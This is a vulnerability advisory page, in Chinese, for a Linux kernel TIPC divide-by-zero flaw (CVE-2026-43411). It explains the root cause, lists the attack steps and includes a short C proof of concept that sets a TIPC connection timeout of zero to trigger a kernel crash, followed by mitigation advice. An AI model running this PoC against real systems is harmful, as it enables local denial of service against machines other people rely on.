IPBUF安全漏洞报告
English
CVE-2026-43411 CVSS 5.5 中危

CVE-2026-43411 Linux Kernel TIPC除零拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43411
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSDivide by ZeroTIPC本地漏洞

漏洞概述

Linux内核中的TIPC模块存在一个除零错误漏洞。该漏洞位于tipc_sk_filter_connect()函数中,由于未对用户通过setsockopt(TIPC_CONN_TIMEOUT)设置的conn_timeout值进行下限验证。当本地用户将超时设置为小于4的值(如0),并且在连接被拒绝(TIPC_ERR_OVERLOAD)触发重试路径时,会导致除以零的异常。这将引发内核崩溃或Oops,从而导致系统拒绝服务。

技术细节

该漏洞的根本原因在于net/tipc/socket.c文件中的tipc_sk_filter_connect函数。当处理TIPC_ERR_OVERLOAD错误时,代码执行delay %= (tsk->conn_timeout / 4);操作。如果攻击者利用setsockopt将conn_timeout设置为0、1、2或3,整数除法(tsk->conn_timeout / 4)的结果将为0。随后进行的取模运算会导致除零异常。根据堆栈跟踪,崩溃发生在tipc_sk_filter_rcv函数中,并通过tipc_sk_backlog_rcv调用。由于攻击向量为本地(AV:L),且无需特殊权限(PR:L),任何本地用户均可通过创建恶意Socket并触发特定网络状态来使系统崩溃,影响系统可用性(A:H)。

攻击链分析

STEP 1
步骤1
本地攻击者创建一个TIPC套接字。
STEP 2
步骤2
攻击者调用setsockopt将TIPC_CONN_TIMEOUT参数设置为小于4的值(例如0)。
STEP 3
步骤3
攻击者尝试建立连接,并诱导服务端返回TIPC_ERR_OVERLOAD错误。
STEP 4
步骤4
内核在tipc_sk_filter_connect()中处理重试逻辑,执行除零操作。
STEP 5
步骤5
触发内核异常(Oops/Panic),导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43411 * Trigger divide-by-zero in Linux Kernel TIPC module * Compile: gcc -o poc_tipc poc_tipc.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/tipc.h> int main() { int sock_fd; unsigned int timeout = 0; // Vulnerable value: < 4 struct sockaddr_tipc addr; printf("[+] Creating TIPC socket...\n"); sock_fd = socket(AF_TIPC, SOCK_STREAM, 0); if (sock_fd < 0) { perror("[-] socket failed"); return 1; } printf("[+] Setting TIPC_CONN_TIMEOUT to %d...\n", timeout); // Setting conn_timeout to a value < 4 triggers the divide-by-zero // when TIPC_ERR_OVERLOAD is encountered. if (setsockopt(sock_fd, SOL_TIPC, TIPC_CONN_TIMEOUT, &timeout, sizeof(timeout)) != 0) { perror("[-] setsockopt failed"); close(sock_fd); return 1; } printf("[+] Attempting to connect to trigger the path...\n"); memset(&addr, 0, sizeof(addr)); addr.family = AF_TIPC; addr.addrtype = TIPC_ADDR_NAME; addr.addr.name.name.type = TIPC_CRITICAL_SERVICE; addr.addr.name.name.instance = 1; // In a real exploit scenario, this connection attempt would need to // result in a TIPC_ERR_OVERLOAD response to hit the vulnerable line. // This code demonstrates the configuration required to trigger the panic. connect(sock_fd, (struct sockaddr *)&addr, sizeof(addr)); close(sock_fd); printf("[*] Exploit finished.\n"); return 0; }

影响范围

Linux Kernel (具体受影响版本需参考补丁提交记录)

防御指南

临时缓解措施
限制非特权用户创建Socket的能力(可能影响正常业务),或尽快应用官方内核补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表